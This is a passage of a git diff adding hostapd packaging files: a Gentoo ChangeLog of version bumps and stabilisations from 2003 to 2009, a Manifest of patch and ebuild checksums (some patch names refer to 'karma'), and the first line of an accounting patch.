+ hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild:
+ Adding support for 802.11n and removing stable flags from 0.6.7, since it
+ is still from the development branch.
+
+ 25 Feb 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.7.ebuild:
+ amd64/x86 stable, bug #259285
+
+*hostapd-0.6.8 (16 Feb 2009)
+
+ 16 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ +files/hostapd-0.6.8-conf.d, +files/hostapd-0.6.8-init.d,
+ +hostapd-0.6.8.ebuild:
+ Bumping to 0.6.8
+
+*hostapd-0.6.7 (06 Jan 2009)
+
+ 06 Jan 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.6-conf.d, -files/hostapd-0.6.6-init.d,
+ +files/hostapd-0.6.7-conf.d, +files/hostapd-0.6.7-init.d, metadata.xml,
+ -hostapd-0.6.6.ebuild, +hostapd-0.6.7.ebuild:
+ Bumping to 0.6.7 and adding WPS support to the ebuild
+
+ 29 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.6.ebuild:
+ Fixing typo in version check reported by Jackie
+
+*hostapd-0.6.6 (14 Dec 2008)
+
+ 14 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.5-conf.d, -files/hostapd-0.6.5-init.d,
+ +files/hostapd-0.6.6-conf.d, +files/hostapd-0.6.6-init.d,
+ -hostapd-0.6.5.ebuild, +hostapd-0.6.6.ebuild:
+ Bumping to 0.6.6
+
+*hostapd-0.6.5 (14 Dec 2008)
+
+ 14 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.4-conf.d, -files/hostapd-0.6.4-init.d,
+ +files/hostapd-0.6.5-conf.d, +files/hostapd-0.6.5-init.d,
+ -hostapd-0.6.4.ebuild, +hostapd-0.6.5.ebuild:
+ Bumping to 0.6.5 and removing broken nl80211 check
+
+ 23 Aug 2008; Doug Goldstein <cardoe@gentoo.org> metadata.xml:
+ add GLEP 56 USE flag desc from use.local.desc
+
+ 20 Aug 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.4.9-conf.d, -files/hostapd-0.4.9-init.d,
+ -hostapd-0.4.9.ebuild:
+ Removing 0.4.9, since it has been out of development for a long time, and
+ 0.5.10 finally is stable
+
+ 20 Aug 2008; Markus Meier <maekke@gentoo.org> hostapd-0.5.10.ebuild:
+ amd64/x86 stable, bug #234503
+
+ 12 Aug 2008; Brent Baude <ranger@gentoo.org> hostapd-0.5.10.ebuild:
+ stable ppc, bug 234503
+
+*hostapd-0.6.4 (11 Aug 2008)
+
+ 11 Aug 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.3-conf.d, -files/004-nl80211-rename-STAT-to-INFO.patch,
+ -files/hostapd-0.6.3-init.d, +files/hostapd-0.6.4-conf.d,
+ +files/hostapd-0.6.4-init.d, metadata.xml, -hostapd-0.6.3-r1.ebuild,
+ +hostapd-0.6.4.ebuild:
+ Bumping to version 0.6.4 and adding use flag info to metadata.xml
+
+ 11 Jul 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.3-r1.ebuild:
+ Added note about kernel missing patch with download link
+
+*hostapd-0.6.3-r1 (05 Jun 2008)
+
+ 05 Jun 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ +files/004-nl80211-rename-STAT-to-INFO.patch, -hostapd-0.6.3.ebuild,
+ +hostapd-0.6.3-r1.ebuild:
+ Bumping to 0.6.3-r1, finally adding support for nl80211.
+
+ 03 Jun 2008; Michael Sterrett <mr_bones_@gentoo.org> hostapd-0.4.9.ebuild,
+ hostapd-0.5.10.ebuild, hostapd-0.6.3.ebuild:
+ remove reference to old, removed net-wireless/madwifi-ng
+
+*hostapd-0.5.10 (15 May 2008)
+
+ 15 May 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.5.8-conf.d, -files/hostapd-0.5.8-init.d,
+ +files/hostapd-0.5.10-conf.d, +files/hostapd-0.5.10-init.d,
+ -hostapd-0.5.8.ebuild, +hostapd-0.5.10.ebuild:
+ Bumping to version 0.5.10
+
+*hostapd-0.6.3 (11 Mar 2008)
+
+ 11 Mar 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.1-conf.d, -files/hostapd-0.6.1-init.d,
+ +files/hostapd-0.6.3-conf.d, +files/hostapd-0.6.3-init.d,
+ -hostapd-0.6.1.ebuild, +hostapd-0.6.3.ebuild:
+ Bumping to version 0.6.3
+
+*hostapd-0.6.1 (10 Dec 2007)
+
+ 10 Dec 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.0-conf.d, -files/hostapd-0.6.0-init.d,
+ +files/hostapd-0.6.1-conf.d, +files/hostapd-0.6.1-init.d,
+ -hostapd-0.6.0.ebuild, +hostapd-0.6.1.ebuild:
+ Bumping to version 0.6.1
+
+ 10 Sep 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.0.ebuild:
+ Removed support for mac80211 since it is broken for now
+
+ 19 Jun 2007; Stefan Schweizer <genstef@gentoo.org> hostapd-0.4.9.ebuild,
+ hostapd-0.5.8.ebuild, hostapd-0.6.0.ebuild:
+ New madwifi-ng-tools depends thanks to Gordon Malm
+ <bugs-gentoo-org-01@bumpin.org> in bug 179348
+
+*hostapd-0.5.8 (06 Jun 2007)
+
+ 06 Jun 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.5.7-conf.d, -files/hostapd-0.5.7-init.d,
+ +files/hostapd-0.5.8-conf.d, +files/hostapd-0.5.8-init.d,
+ -hostapd-0.5.7.ebuild, +hostapd-0.5.8.ebuild:
+ Bumping to version 0.5.8 and removing 0.5.7
+
+*hostapd-0.6.0 (06 Jun 2007)
+
+ 06 Jun 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.4.7-conf.d, -files/hostapd-0.4.7-init.d,
+ -files/hostapd-0.4.8-conf.d, -files/hostapd-0.4.8-init.d,
+ -files/hostapd-0.5.2-conf.d, -files/hostapd-0.5.2-init.d,
+ -files/hostapd-0.5.2-ssl.patch, -files/hostapd-0.5.3-conf.d,
+ -files/hostapd-0.5.3-init.d, -files/hostapd-0.5.3-os_get_random.patch,
+ -files/hostapd-0.5.4-conf.d, -files/hostapd-0.5.4-init.d,
+ +files/hostapd-0.6.0-conf.d, +files/hostapd-0.6.0-init.d, metadata.xml,
+ +hostapd-0.6.0.ebuild:
+ Bumping to version 0.6.0, removed stalled files and added myself as maintainer
+
+ 11 Mar 2007; Petteri Räty <betelgeuse@gentoo.org> metadata.xml:
+ Fix metadata.xml white space.
+
+ 11 Mar 2007; Petteri Räty <betelgeuse@gentoo.org> hostapd-0.4.9.ebuild,
+ hostapd-0.5.7.ebuild:
+ Fix ROOT usage wrt bug #168039.
+
+*hostapd-0.5.7 (10 Feb 2007)
+
+ 10 Feb 2007; Christian Heim <phreak@gentoo.org>
+ +files/hostapd-0.5.7-conf.d, +files/hostapd-0.5.7-init.d,
+ +hostapd-0.5.7.ebuild:
+ Version bump, thanks to Conrad Kostecki <ConiKost at gmx.de> in #150769.
+
+ 10 Sep 2006; Bryan Østergaard <kloeri@gentoo.org> metadata.xml:
+ Remove brix from metadata.xml.
+
+ 03 Sep 2006; Michael Hanselmann <hansmi@gentoo.org> hostapd-0.4.9.ebuild:
+ Stable on ppc.
+
+ 26 Jun 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.9.ebuild:
+ Stable on x86.
+
+*hostapd-0.5.4 (21 Jun 2006)
+
+ 21 Jun 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.4-conf.d, +files/hostapd-0.5.4-init.d,
+ +hostapd-0.5.4.ebuild:
+ New developer snapshot.
+
+*hostapd-0.4.9 (27 May 2006)
+
+ 27 May 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.9-conf.d, +files/hostapd-0.4.9-init.d,
+ +hostapd-0.4.9.ebuild:
+ Version bump.
+
+*hostapd-0.5.3 (29 Apr 2006)
+
+ 29 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.3-conf.d, +files/hostapd-0.5.3-init.d,
+ +files/hostapd-0.5.3-os_get_random.patch, +hostapd-0.5.3.ebuild:
+ New development snapshot.
+
+ 14 Apr 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild,
+ hostapd-0.5.2.ebuild:
+ Updated madwifi dependencies.
+
+ 26 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/hostapd-0.5.0-conf.d, -files/hostapd-0.5.0-init.d,
+ -files/hostapd-0.5.1-conf.d, -files/hostapd-0.5.1-init.d,
+ +files/hostapd-0.5.2-ssl.patch, -hostapd-0.4.7-r1.ebuild,
+ -hostapd-0.5.0.ebuild, -hostapd-0.5.0-r1.ebuild, -hostapd-0.5.1.ebuild,
+ hostapd-0.5.2.ebuild:
+ Fix compilation with USE=-ssl, thanks to langthang in bug #127598. Pruned
+ old ebuilds.
+
+*hostapd-0.5.2 (20 Mar 2006)
+
+ 20 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.2-conf.d, +files/hostapd-0.5.2-init.d,
+ +hostapd-0.5.2.ebuild:
+ New development snapshot.
+
+ 15 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild:
+ Stable on x86.
+
+ 27 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild,
+ hostapd-0.5.0.ebuild, hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild:
+ Fix madwifi compilation with ROOT != "/".
+
+ 19 Feb 2006; Michael Hanselmann <hansmi@gentoo.org>
+ hostapd-0.4.7-r2.ebuild:
+ Stable on ppc.
+
+ 16 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.5.0.ebuild,
+ hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild:
+ Fix building with USE=-ssl. Thanks to langthang in bug #122987.
+
+*hostapd-0.4.8 (14 Feb 2006)
+
+ 14 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.8-conf.d, +files/hostapd-0.4.8-init.d,
+ +hostapd-0.4.8.ebuild:
+ New stable release from upstream. Backported madwifi support from 0.5.x
+ ebuilds.
+
+ 13 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ hostapd-0.4.7-r2.ebuild:
+ Stable on x86.
+
+ 03 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/hostapd-0.3.9-conf.d, -files/hostapd-0.3.9-init.d,
+ -files/hostapd-0.4.5-conf.d, -files/hostapd-0.4.5-init.d,
+ -files/hostapd-0.4.5-prism54.patch, -files/hostapd-0.4.6-conf.d,
+ -files/hostapd-0.4.6-init.d, -files/hostapd.init.d, -hostapd-0.4.5.ebuild,
+ -hostapd-0.4.6.ebuild, -hostapd-0.4.7.ebuild:
+ Pruned old ebuilds.
+
+*hostapd-0.5.1 (30 Jan 2006)
+
+ 30 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.1-conf.d, +files/hostapd-0.5.1-init.d,
+ +hostapd-0.5.1.ebuild:
+ New development snapshot.
+
+*hostapd-0.5.0-r1 (09 Jan 2006)
+*hostapd-0.4.7-r2 (09 Jan 2006)
+
+ 09 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ files/hostapd-0.4.7-init.d, files/hostapd-0.5.0-init.d,
+ +hostapd-0.4.7-r2.ebuild, +hostapd-0.5.0-r1.ebuild:
+ Fix init scripts to work with baselayout-1.12.0_rcX.
+
+ 02 Jan 2006; Michael Hanselmann <hansmi@gentoo.org>
+ hostapd-0.4.7-r1.ebuild:
+ Stable on ppc.
+
+ 30 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+ hostapd-0.4.7-r1.ebuild:
+ Stable on x86.
+
+*hostapd-0.4.7-r1 (30 Dec 2005)
+
+ 30 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +hostapd-0.4.7-r1.ebuild:
+ Added version without madwifi support in preparation for marking it stable
+ on x86.
+
+ 24 Dec 2005; Michael Hanselmann <hansmi@gentoo.org>
+ hostapd-0.3.9-r1.ebuild:
+ Stable on ppc.
+
+*hostapd-0.5.0 (20 Dec 2005)
+
+ 20 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.0-conf.d, +files/hostapd-0.5.0-init.d,
+ +hostapd-0.5.0.ebuild:
+ New development snapshot.
+
+*hostapd-0.4.7 (21 Nov 2005)
+
+ 21 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.7-conf.d, +files/hostapd-0.4.7-init.d,
+ +hostapd-0.4.7.ebuild:
+ First release of new stable branch.
+
+*hostapd-0.4.6 (29 Oct 2005)
+
+ 29 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.6-conf.d, +files/hostapd-0.4.6-init.d,
+ +hostapd-0.4.6.ebuild:
+ New development release.
+
+ 22 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ -files/hostapd-0.4.3-conf.d, -files/hostapd-0.4.3-init.d,
+ -files/hostapd-0.4.4-conf.d, -files/hostapd-0.4.4-init.d,
+ -hostapd-0.4.3.ebuild, -hostapd-0.4.4.ebuild, -hostapd-0.4.4-r1.ebuild:
+ Pruned old versions.
+
+*hostapd-0.4.5 (17 Oct 2005)
+
+ 17 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.5-conf.d, +files/hostapd-0.4.5-init.d,
+ +files/hostapd-0.4.5-prism54.patch, +hostapd-0.4.5.ebuild:
+ New development snapshot, bug #108319.
+
+ 17 Sep 2005; Simon Stelling <blubb@gentoo.org> hostapd-0.4.4-r1.ebuild:
+ added ~amd64 keyword
+
+*hostapd-0.4.4-r1 (22 Aug 2005)
+
+ 22 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+ files/hostapd-0.4.4-init.d, +hostapd-0.4.4-r1.ebuild:
+ Install more example configuration files, use SIGHUP for reloading
+ configuration in init script.
+
+*hostapd-0.4.4 (22 Aug 2005)
+
+ 22 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.4-conf.d, +files/hostapd-0.4.4-init.d,
+ +hostapd-0.4.4.ebuild:
+ New development snapshot. Compile against headers installed by
+ net-wireless/madwifi-driver instead of local snapshot.
+
+ 16 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ChangeLog:
+ Stable on x86.
+
+ 13 Jul 2005; <brix@gentoo.org> -files/hostapd-0.4.0-conf.d,
+ -files/hostapd-0.4.0-init.d, -files/hostapd-0.4.1-conf.d,
+ -files/hostapd-0.4.1-init.d, -files/hostapd-0.4.2-conf.d,
+ -files/hostapd-0.4.2-init.d, -hostapd-0.2.5.ebuild, -hostapd-0.2.6.ebuild,
+ -hostapd-0.3.9.ebuild, -hostapd-0.4.0-r1.ebuild, -hostapd-0.4.1.ebuild,
+ -hostapd-0.4.2.ebuild:
+ Pruned old ebuilds.
+
+ 08 Jul 2005; <brix@gentoo.org> hostapd-0.3.9.ebuild,
+ hostapd-0.3.9-r1.ebuild, hostapd-0.4.0-r1.ebuild, hostapd-0.4.1.ebuild,
+ hostapd-0.4.2.ebuild, hostapd-0.4.3.ebuild:
+ Fixed DEPEND/RDEPEND issue.
+
+*hostapd-0.4.3 (27 Jun 2005)
+
+ 27 Jun 2005; <brix@gentoo.org> +files/hostapd-0.4.3-conf.d,
+ +files/hostapd-0.4.3-init.d, +hostapd-0.4.3.ebuild:
+ New development snapshot.
+
+ 27 Jun 2005; David Holm <dholm@gentoo.org> hostapd-0.3.7.ebuild:
+ Stable on ppc.
+
+*hostapd-0.3.9-r1 (13 Jun 2005)
+
+ 13 Jun 2005; <brix@gentoo.org> +files/hostapd-0.3.9-conf.d,
+ +files/hostapd-0.3.9-init.d, +hostapd-0.3.9-r1.ebuild:
+ Backported 0.4.x ebuild fixes to 0.3.9.
+
+*hostapd-0.4.2 (13 Jun 2005)
+
+ 13 Jun 2005; <brix@gentoo.org> +files/hostapd-0.4.2-conf.d,
+ +files/hostapd-0.4.2-init.d, +hostapd-0.4.2.ebuild:
+ New development release.
+
+*hostapd-0.3.9 (11 Jun 2005)
+
+ 11 Jun 2005; <brix@gentoo.org> +hostapd-0.3.9.ebuild:
+ New stable release.
+
+*hostapd-0.4.1 (23 May 2005)
+
+ 23 May 2005; <brix@gentoo.org> +files/hostapd-0.4.1-conf.d,
+ +files/hostapd-0.4.1-init.d, +hostapd-0.4.1.ebuild:
+ New development release.
+
+ 11 May 2005; <brix@gentoo.org> -hostapd-0.4.0.ebuild:
+ Removed old ebuild
+
+*hostapd-0.4.0-r1 (29 Apr 2005)
+
+ 29 Apr 2005; <brix@gentoo.org> +files/hostapd-0.4.0-conf.d,
+ +files/hostapd-0.4.0-init.d, +hostapd-0.4.0-r1.ebuild:
+ Install hostapd_cli and man pages, restructured init script.
+
+*hostapd-0.4.0 (27 Apr 2005)
+
+ 27 Apr 2005; <brix@gentoo.org> +hostapd-0.4.0.ebuild:
+ New development snapshot.
+
+ 16 Apr 2005; <brix@gentoo.org> hostapd-0.3.7.ebuild:
+ Stable on x86.
+
+ 13 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.3.5.ebuild,
+ -hostapd-0.3.7_pre.ebuild:
+ Pruned old versions.
+
+*hostapd-0.3.7 (13 Feb 2005)
+
+ 13 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.7.ebuild:
+ New stable version from upstream.
+
+*hostapd-0.3.7_pre (07 Feb 2005)
+
+ 07 Feb 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +hostapd-0.3.7_pre.ebuild:
+ Added pre-release of 0.3.7 which is supposed to go stable soon, please test.
+
+ 25 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.2.4.ebuild,
+ -hostapd-0.3.0.ebuild, -hostapd-0.3.1.ebuild, -hostapd-0.3.2.ebuild,
+ -hostapd-0.3.3.ebuild, -hostapd-0.3.4.ebuild:
+ Pruned old versions.
+
+*hostapd-0.3.5 (24 Jan 2005)
+
+ 24 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.5.ebuild:
+ New development snapshot.
+
+ 18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.2.4.ebuild,
+ hostapd-0.2.5.ebuild, hostapd-0.2.6.ebuild, hostapd-0.3.0.ebuild,
+ hostapd-0.3.1.ebuild, hostapd-0.3.2.ebuild, hostapd-0.3.3.ebuild,
+ hostapd-0.3.4.ebuild:
+ Removed hostap-driver dependency, fixes bug #78094.
+
+ 14 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.2.6.ebuild:
+ Stable on x86.
+
+*hostapd-0.3.4 (10 Jan 2005)
+
+ 10 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.4.ebuild:
+ New development version, bumped included madwifi-driver.
+
+*hostapd-0.3.3 (03 Jan 2005)
+
+ 03 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.3.ebuild:
+ New development snapshot.
+
+*hostapd-0.2.6 (26 Dec 2004)
+
+ 26 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.6.ebuild:
+ Version bump.
+
+*hostapd-0.3.2 (20 Dec 2004)
+
+ 20 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.2.ebuild:
+ Added new development snapshot.
+
+*hostapd-0.3.1 (13 Dec 2004)
+
+ 13 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.1.ebuild:
+ Version bump (development snapshot)
+
+*hostapd-0.3.0 (12 Dec 2004)
+
+ 12 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.0.ebuild:
+ Version bump. Please note that version 0.3.0 is a development snapshot.
+
+ 12 Dec 2004; Daniel Black <dragonheart@gentoo.org> hostapd-0.2.5.ebuild:
+ ppc stable as per bug #74117. Changed DEPEND on kernel modules to a RDEPEND.
+
+ 10 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.1.0.ebuild,
+ -hostapd-0.1.3.ebuild:
+ Pruned ancient versions.
+
+ 27 Nov 2004; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.2.5.ebuild:
+ mark stable on x86
+
+ 01 Nov 2004; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.1.0.ebuild,
+ hostapd-0.1.3.ebuild, hostapd-0.2.4.ebuild, hostapd-0.2.5.ebuild:
+ Use tc-getCC() from toolchain-funcs.eclass, fixes bug #69282.
+
+*hostapd-0.2.5 (25 Oct 2004)
+
+ 25 Oct 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.5.ebuild:
+ Version bump. Cleaned up ebuild.
+
+*hostapd-0.2.4 (14 Sep 2004)
+
+ 14 Sep 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.4.ebuild:
+ Bump. Ebuild by latexer@gentoo.org.
+
+*hostapd-0.1.3 (09 Feb 2004)
+
+ 09 Feb 2004; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.3.ebuild:
+ Version bump
+
+ 16 Dec 2003; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.0.ebuild:
+ mark stable on x86
+
+ 11 Nov 2003; Peter Johanson <latexer@gentoo.org> metadata.xml:
+ Added to the new "mobile" herd.
+
+*hostapd-0.1.0 (21 Oct 2003)
+
+ 21 Oct 2003; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.0.ebuild,
+ metadata.xml:
+ Initial import
+
diff --git a/net-wireless/hostapd/Manifest b/net-wireless/hostapd/Manifest
new file mode 100644
index 00000000..b2423470
--- /dev/null
+++ b/net-wireless/hostapd/Manifest
@@ -0,0 +1,14 @@
+AUX cui-20120417.patch 13221 SHA256 b853484cd5d3e89e4eb96be3edf0bedef01922e74cd87578c6a2faf647f3180a SHA512 242f70701a59206ff980ff602e7d94f9a2afca7f4fbc2861086eb412863b3e7e73f76ea972a5ed24f7baf1810757add2a9839647fd605b94a1e6edbbeddc1452 WHIRLPOOL 02859bd43030a2df7fd12fc0952071b34e26ae718dfb568f2cefa52d0d69555033ed318784b2ffa9781a05b04913187d038ea24e30f74613907334dd7f5b77d8
+AUX cui-20120717.patch 12726 SHA256 ce24f99b5d45b78af750339ac8c05595b0faed7cecd99fa8e8072e65386d8e05 SHA512 23315310f21d15863aa5f01c907d23662023853732e45ae59d454cceda9dc3ab866df45712d6538978e8cb0c053955345b0714bf998961840d87553df985311b WHIRLPOOL 158d41102872aecc2ccb0cde2826cb76041f36f360a2a0f38a78ea87f8a540c5f3b688724f86199649ae5fa32e97ff8d8a92be67398e19d51f9ba363b540f511
+AUX hostapd-0.7.3-karma.patch 17778 SHA256 28b8963c836e0208d8f621c6345e27d66ad2a8df33eec99d2505fc7980019ee8 SHA512 c4a1231ae6ed613d3218bfb30c6a95f5cbcfc67371996522131cb4effb29c6fadf3b324ef2a308dab2046fa234ad86e9b0048a2f356f2a2b6413f5d22248830f WHIRLPOOL 5272fc3e1f4d9513562604c2f324aebbc38d8ff83e4bcca5cc79ab27c35475f7ffeabe780fd7fc73cf163cbe9536e8ca44b3b3996080926dcc11a97072cd7061
+AUX hostapd-1.0-karma-0.2.patch 39202 SHA256 ce40eb1f2a205ef9ec5d0ff87c9df85a86cb21cbe016a324a9bfddb728b57685 SHA512 94e8ea5a57859063c0b8c33709dcef72392c6b8e27c5003ed9217e9756ae39936348daf480fcf829f32ce56783fb817772425ba832f6adab7561a949ea3f6421 WHIRLPOOL c1827bc5ab346ff5249d2751090b953767a6e8696b60c03aefe578c4d5bf9e990426acecbca2f7d67d1e151262ce3ea994704789b7522e365b3a1678dbb41c79
+AUX hostapd-1.0-karma.patch 15724 SHA256 9f4d853c2974607aed7accb5785df224e3abdce4baf4dee787ca45421c85ec87 SHA512 694e8e03db5e3577359b0cc5c530ef528dd2bbeb64351060113fe67ee4446495999330edc5f38c3206c8525c5f401e35ca8a3c0f372f5c8e3205172680cf7fd9 WHIRLPOOL 36f6a45310a642fb2b1c2225d560ac85b1c08074c08108682fbb638ad27f8d01858ba48a2b64ffaa01832a52185afe5c39b521635b8767abdfaefb6c84a0a903
+AUX hostapd-1.0-libnl_path_fix.patch 892 SHA256 7ec9489fed14b7f3916d0aab63e34886bcf39d07c257101df53e16ef4db2b95d SHA512 10b1db56ec2bb8a2ab04dcd50b5a0442efdd4814ef6a4effc50d0157d61fc993ebb6f2f6775566fc0341668ad314dd2d4ec4e91177d59d76c59b8ceb2bf4c2f4 WHIRLPOOL ae16d72eb649d7267191a2542c204da92493279f3d09dc9de4349ca4a8db9d7e5f46d3d824e4b22900ad257e1bdcf86b26fb46eee63cbb8af48bd739b0d27ea0
+AUX hostapd-1.0-tls_length_fix.patch 1859 SHA256 bbca0422a0babbf9d7fad2b758ecddaae45624db1b2db6d7663292548e25906a SHA512 e354e9352605003101cba296735232d11ac685f1db8718e5d59b55de1b86b55144e4871afe85cae4374f52af1b42df3ebd4747e109c86e0750ef9eb5345453d7 WHIRLPOOL 6a9379b09ffb73d13ea813952e2b39b5ab90ec98a27ed211ff2904d52e346c9e6273fe99e8ae6509773597afa352d9e77f3081103c5e5c55c86e12f8176a5419
+AUX hostapd-conf.d 245 SHA256 916f4b14095ee4ec8a510391c883e9f01868e18d79a3d5cbeb13a104a793d45d SHA512 f07a6cd209eca351b8545017c5f025282c3fdea838ca3df49e362571ded43973281ce4ff83984b1299db15ea9b5c21a42cbda91432220af9146bf034e2265c30 WHIRLPOOL 0ab1dbd8e04df9e7b8ae875dfdfdcdd770e4fcb62197bb81e47588a9ecf0b8bb715adbde34f2be82d630fdd536e9f888f463dd12cab0c06220c345b0093a3dd5
+AUX hostapd-init.d 1022 SHA256 a220058841e66a11603df8e968ccc68945f01e1d11c1ae498922d0e01f6fa804 SHA512 0d9d3c69c7b4c50ab08a7633b3b0b2f770647045ba967de628c34bf37644dcae6ef8288cab0fd0508b8ee8eafa8f48bda0d378c5aadbbbc5cde9f5441f7c97a1 WHIRLPOOL e86f507cff5712ff2590f39c58989a379b81feb40cedcd424188e055ac38f772a7bb9c1089efabd6ff104078257aa2a20a82790e17b085c03264d35b6f4e274d
+DIST hostapd-1.0.tar.gz 1327943 SHA256 002e9dcb7e46cf82b5900a2fcf92b30fc8cdfd32a72d7fd4488588f1c013dfcc SHA512 2f189ef3d52099ee249a96820b257f331e0cb601e89dc01c583ec697d5e9a68f6b80c2913bbb4b37f18dc4a218f34ed9deb0357d55509de9d0f58dd60df33a8b WHIRLPOOL 79f0fd8b7f256d69771f8b022e74ee9908a6a613c875392cf151bdada86c077bbf8e88213547efa64c240daf9fb5e5f9bffe2fa5f7f98d5ca27d5d7058f5995a
+EBUILD hostapd-1.0-r4.ebuild 5519 SHA256 c911846537d95e6ce101988af1157ec772d03ce34da0ec6aa657580e4b497852 SHA512 7e01750d68513e33c0ee8848dd6ee851a32cfb500aa0cfae802b7aabaf86b32c2992b229f1f94f345ecc8dc0b4f220483f4b05f9f87b89b6fca8d37b6af0543b WHIRLPOOL 5dffe8e9070db5c2d71b4df1cedf52a7bf3f57308f76b4a13d2c11f6083c0e611c42c389ba9a75e4d15dba93534d18054a4b662b7223cf278de45e3362ca00cd
+EBUILD hostapd-1.0-r5.ebuild 5523 SHA256 61d713f72dae5f93b4cdaf9328edc29bb589ac67221b7ca220e544ae44abebac SHA512 ec9d9a96dcc3ea31529c827fbbe0095fb2e14125c1c35820a588352ecd44c7cef4ce6e590773294501f4d79e7d5ca0ebd2dc3cdf29e221bfc10bab19231d26f8 WHIRLPOOL ba48f2800633aaeb903cacca4830254b80a79079bc89333555dca325654ba94dc74af0e8c83e99f1d0b19c41cdd902a7b209c32dc6c618ed012460c0a037080b
+MISC ChangeLog 20312 SHA256 4a1673cde56f1b7ea1dfd20f0ac702ad3e7e916b84cfdf4f5aa0448d01b13659 SHA512 1c03ba7921beb21500e160aa5abfb867967777f0c4a36e220524bde419a30663a03d38b757c97405a88e1a5a2baf91e27b8022514ae99bdd1b4768ad520ec15e WHIRLPOOL 3c0df927502c29770fcac11fad0a5c655ff05674fc7444fef1e4a68cdbb55b1690efd3b89d3240a978f045d33029be036961a44095173660cfe4d20c3a05918b
+MISC metadata.xml 752 SHA256 78c8bab11c00f4988d677b1f4bf5a66c3221c0f9a3c46cfaf333a8857f250662 SHA512 c9e8749a721896e4b91ee76b9008e8a3e0d58496d804a6ce103fa501ccd0322b18b28f69432babc506a4c97a22c993da11c34946d6b44517b3cbb45f80bf6bde WHIRLPOOL c8cc369fa5d5725617c4143053bef31f34fdc40b9a7c36a082765d5e9afcd12f5b45d567e7ea3e2431dfbbf3378daf05b73aead94978e650e012652e1928d7aa
diff --git a/net-wireless/hostapd/files/cui-20120417.patch b/net-wireless/hostapd/files/cui-20120417.patch
new file mode 100644
index 00000000..702f55c4
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120417.patch
@@ -0,0 +1,451 @@
+diff -rupN hostapd-0.7.3/src/ap/accounting.c src/ap/accounting.c
